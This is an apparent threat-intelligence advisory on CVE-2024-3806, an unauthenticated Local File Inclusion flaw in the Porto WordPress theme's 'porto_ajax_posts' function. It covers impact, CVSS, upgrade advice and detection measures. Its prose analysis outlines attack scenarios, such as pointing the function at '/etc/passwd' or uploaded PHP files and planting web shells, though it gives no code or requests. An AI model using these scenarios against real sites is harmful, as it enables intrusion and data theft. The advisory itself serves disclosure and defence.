CVE-2024-3806
Overview
This vulnerability is a Local File Inclusion (LFI) flaw rooted in improper input validation within the 'porto_ajax_posts' function of the Porto WordPress theme. The function fails to adequately sanitize user-supplied parameters, allowing file paths to be manipulated and arbitrary files to be included and executed. The affected component is the Porto theme, specifically versions up to and including 7.1.0.
Vulnerability Description
The Porto theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 7.1.0 via the 'porto_ajax_posts' function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary PHP code on the server by including malicious files, leading to full compromise of the web application environment. This enables bypass of access controls, unauthorized data access, and potential persistent backdoor installation. The attack requires only network access to the vulnerable WordPress site and no user interaction, as reflected by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users of the Porto WordPress theme should upgrade to version 7.1.1 or later, where the vulnerability has been addressed. Detailed patch instructions and updates are available from the vendor at https://themeforest.net/item/porto-responsive-wordpress-ecommerce-theme/9207399. Applying the official update is the recommended remediation to eliminate the insecure file inclusion mechanism in the 'porto_ajax_posts' function.

Full Analysis
The vulnerability present in the Porto theme for WordPress is characterized by a Local File Inclusion (LFI) flaw, which allows attackers to manipulate file paths and include arbitrary files from the server. This vulnerability is particularly critical as it affects all versions up to and including 7.1.0. The root of the issue lies within the 'porto_ajax_posts' function, which does not adequately validate or sanitize user inputs. As a result, an attacker can exploit this weakness to include sensitive files, such as configuration files or other PHP scripts, leading to the execution of arbitrary code on the server. The lack of proper input validation creates an opportunity for attackers to bypass security controls, potentially leading to severe consequences.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a malicious request to the affected function, manipulating the parameters to point to sensitive files on the server. For instance, by including files such as '/etc/passwd' or any PHP file that may have been uploaded to the server, an attacker could gain access to sensitive information or execute malicious code. This exploitation could be further enhanced if the server is misconfigured, allowing the execution of PHP files that should not be accessible. Scenarios may include leveraging this vulnerability to escalate privileges, pivoting to other systems within the network, or deploying web shells for persistent access.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the Porto theme for their WordPress sites. The potential for unauthorized access to sensitive data, such as user credentials, payment information, or proprietary business data, poses a severe risk to organizational integrity and reputation. Additionally, the ability to execute arbitrary code could lead to complete server compromise, resulting in data breaches, service disruptions, and potential legal ramifications due to non-compliance with data protection regulations. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, emphasizing the urgent need for organizations to address it promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular security audits and vulnerability assessments should be conducted to identify and remediate any outdated plugins or themes. Organizations should also ensure that they are running the latest version of the Porto theme, as updates typically include security patches. Additionally, employing a web application firewall (WAF) can help filter out malicious requests attempting to exploit the LFI vulnerability. It is also advisable to implement strict file permissions and server configurations to limit the exposure of sensitive files and prevent unauthorized file execution. Educating developers and administrators about secure coding practices and the importance of input validation can further reduce the risk of such vulnerabilities being introduced in the future.
In conclusion, the Local File Inclusion vulnerability in the Porto theme for WordPress presents a critical security risk that can lead to severe consequences for affected organizations. Understanding the technical details, potential attack vectors, and real-world implications is essential for developing effective detection and mitigation strategies. By adopting proactive security measures and maintaining awareness of vulnerabilities, organizations can better protect their assets and maintain the integrity of their online presence.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-3806, rising by approximately 15% to a current level that places it near the top percentile of predicted exploitation likelihood. This shift reflects growing confidence in the feasibility and imminence of exploitation attempts, corroborated by the continued availability of proof-of-concept exploits in public repositories. Although our telemetry indicates the exploitation trend remains stable without rapid escalation, the elevated EPSS score signals heightened attacker interest and potential for broader targeting. For defenders, this underscores an increased urgency to prioritize detection and response capabilities focused on this vulnerability, as the risk of successful unauthenticated local file inclusion attacks has become more pronounced. Consequently, the threat level associated with CVE-2024-3806 should be considered elevated within operational risk frameworks, warranting closer monitoring despite the absence of a surge in active exploitation campaigns.
